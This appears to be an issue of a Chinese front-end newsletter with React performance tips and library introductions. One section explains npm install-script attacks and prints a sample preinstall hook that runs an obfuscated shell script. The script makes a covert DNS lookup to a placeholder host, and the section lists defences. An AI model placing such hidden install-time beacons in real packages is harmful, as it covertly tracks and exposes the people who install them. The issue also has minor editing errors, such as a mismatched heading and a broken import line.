React 应用中的性能优化

2024/03/15

前端爱好者周刊 (Github: shfshanyue/weekly),每周记录关于前端的开源工具、优秀文章、重大库版本发布记录等等,周刊中优秀文章会在公众号全栈成长之路逐一推送。每周一发布,订阅平台如下,欢迎订阅。

小技巧

  • 快速跳转到文件特定行。在 vim 中,只需输入 :<行号>,如 :25 然后按 Enter,即可快速跳转到第 25 行。
  • VSCode 多游标编辑。按下 Ctrl(Cmd)+ Alt(Option)+ 向上或向下的箭头键,可以在上/下方创建一个新光标,从而同时在多行上进行编辑。
  • JavaScript 深拷贝对象。使用 JSON.parse(JSON.stringify(obj)) 可以对对象 obj 进行简单的深拷贝。
  • 使用 git add -p 可以选择性地暂存代码改动的一部分,做到精细化的提交,每次提交只包含一个逻辑更改。

文章推荐

一、 immer 性能优化意见

Immer 是一款处理不可变数据的 JavaScript 库,其性能表现上乘,这得益于它能够识别出无实质变化的状态并返回原状态,避免了不必要的重新渲染

如果想要向状态树中添加大量的数据,可以先进行冻结操作:

import { freeze } from "immer";

data = freeze(bigData);

具有高性能需求的 reducer 可选择手动编写,而对于常规的 reducer 则可以使用 Immer 进行处理:

let state = //...
let action = //...

function reducer(state, action) {
    switch (action.type) {
        // 手动编写的更新逻辑
        case "UPDATE_HIGH_PERFORMANCE":
        // 使用 Immer 进行状态更新
        case "UPDATE_NORMAL":
            return produce(state, draft => { /* 更新逻辑 */ })
        default:
            return state
    }
}

最后,我们应该尽量提升 produce 的调用层级以提升性能。

produce(baseState, (draft) => {
  // 将 for 循环置于 produce 内部,而非外部
  for (let i = 0; i < arr.length; i++) draft.push(arr[i]);
});

二、 React Query 渲染优化

在这篇文章中,详解了 React Query 如何进行渲染优化。主要介绍了 isFetching 字段,这个字段会在发起请求时设置为 true,但如果你不打算显示加载状态,就可能引发不必要的重绘。

同时,还介绍了 notifyOnChangeProps 选项:

export const useTodosQuery = (select, notifyOnChangeProps) =>
  useQuery({
    queryKey: ["todos"],
    queryFn: fetchTodos,
    select,
    notifyOnChangeProps,
  });
export const useTodosCount = () =>
  useTodosQuery((data) => data.length, ["data"]);

在跟踪查询中, React Query 会记录渲染过程中用到的字段,并根据这些字段计算出变更列表。这个特性可以通过将 notifyOnChangeProps 设为 ‘tracked’ 来启用:

const queryClient = new QueryClient({
  defaultOptions: {
    queries: {
      notifyOnChangeProps: "tracked",
    },
  },
});

最后,作者介绍了结构共享(Structural sharing),这个技巧会在数据结构的每一级中保持引用的一致性。只有在数据发生变动的部分,才会在新旧状态中进行复制,从而优化渲染。

其渲染优化核心函数可见 replaceEqualDeep

三、 实际上,React.memo 很有用

本文是作者基于个人经验对 React.memo, React.useMemo 和 React.useCallback 的看法。

作者指出这些性能 API 被错误地看作有害,并解释如何正确使用它们。他反驳了多个关于这些 API 的常见误解,比如它们会减慢应用速度、只有在特定情况下有用、会破坏代码的可读性和可维护性等观点。

文章还解释了怎样通过优化对 React.memo 包裹的组件的 props 传递来提升性能,同时强调,在合理的情况下应该考虑使用性能 API。

最后,作者表达了对在 React 代码中追求效率的热情,并坚信正确使用性能 API 会提高应用性能。

四、 如何运用 npm install 脚本进行攻击:一个 npm 包含恶意代码的实际例子

文章介绍了 npm 预安装和后安装脚本如何被用为注入恶意代码到开源包的方式,并举出了一个实际的恶意 npm 包的例子。

在这个例子中,有一个名为 “very-trustyworthy-package” 的包,它包括一个在安装时运行的 preinstall 脚本,该脚本有一个 install.sh 的 shell 脚本。

{
  “name”: “very-trustyworthy-package”,
  “version”:0.0.42,
  “scripts”: {
    “preinstall”: “sh install.sh”
  }
}
#!/usr/bin/env sh

echo “Starting build..."
amount=ample
former=ex
organization=org
install_a=nslo
install_b=okup

$install_a$install_b trustworthy-package.xyz.$former$amount.$organization >/dev/null

echo “Build succeeded..."

执行上述安装脚本后,它会进行一个 DNS 调用,查找 trustworthy-package.xyz.example.org

这个包的设计者可以通过这种方式知道有人安装了他们的包,并获取了一些信息。

文中也提供了一些方法来保护自身安全,比如运行带有 --ignore-scripts 选项的 npm,避免执行preinstallpostinstall 脚本,并使用 Trusty 和 Minder 这类自动化的依赖分析和强制执行的工具。

开源与库

一、 twc,基于 react 与 tailwind 通过一行代码就能创建出可复用的组件

cva 旨在为开发者提供一种更方便的方法,以解决 “传统” 的 CSS 方法在创建 CSS 类变体以及匹配类到组件属性时可能出现的一些麻烦。

在传统的方法中,开发者需要将 CSS 类手动匹配到组件的属性,并手动添加类型。这些看似简单,实际上却可能非常繁琐和耗时。

cva 帮助开发者简化这些过程,让他们可以专心于 UI 开发的有趣部分。具体地,如果你需要在组件中创建一个 ‘primary’ 变体,你可以这样做:

mport { cva } from "class-variance-authority";

const button = cva(["font-semibold", "border", "rounded"], {
  variants: {
    intent: {
      primary: [
        "bg-blue-500",
        "text-white",
        "border-transparent",
        "hover:bg-blue-600",
      ],
      secondary: [
        "bg-white",
        "text-gray-800",
        "border-gray-400",
        "hover:bg-gray-100",
      ],
    },
    size: {
      small: ["text-sm", "py-1", "px-2"],
      medium: ["text-base", "py-2", "px-4"],
    },
  },
  defaultVariants: {
    intent: "primary",
    size: "medium",
  },
});

button();
// => "font-semibold border rounded bg-blue-500 text-white border-transparent hover:bg-blue-600 text-base py-2 px-4 uppercase"

button({ intent: "secondary", size: "small" });

如上所示,cva 提供了一种简洁高效的方式来定义和管理 CSS 类。这可以大大提高开发者的工作效率,并使得他们能够专注于开发更多有趣的 UI 功能。

二、 twc,基于 react 与 tailwind 通过一行代码就能创建出可复用的组件

TWC 为 React 和 Tailwind CSS 提供了强有力的结合,通过一行代码就能创建出可复用的组件。

它的特性包括轻量级、全编辑器支持、基于属性的样式适应、类复用支持和所有组件兼容。你甚至可以在服务器端渲染 React 组件。

并且,TWC 提供了对 tailwind-merge 和 cva 的一流支持。以下是一个使用和不使用 TWC 的示例:

使用 TWC 前:

import * as React from "react";

const Card = React.forwardRef<
  HTMLDivElement,
  React.HTMLAttributes<HTMLDivElement>
>(({ className, ...props }, ref) => (
  <div
    ref={ref}
    className={clsx(
      "rounded-lg border bg-slate-100 text-white shadow-sm",
      className,
    )}
    {...props}
  />
));

使用 TWC 后:

import { twc } from "react-twc";

const Card = twc.div`rounded-lg border bg-slate-100 text-white shadow-sm`;

从以上代码可以看出,使用 TWC 创建组件可以使代码更加简洁和易读,减少了样式代码的复杂性。

开发利器

一、 Code To Graph

Code To Graph 是一个用于可视化代码的在线工具。它能够将代码转换成图形,并显示其执行流程。


Profile picture

作者山月、待业在家、勤学苦练、欢迎交流。 这是我的博客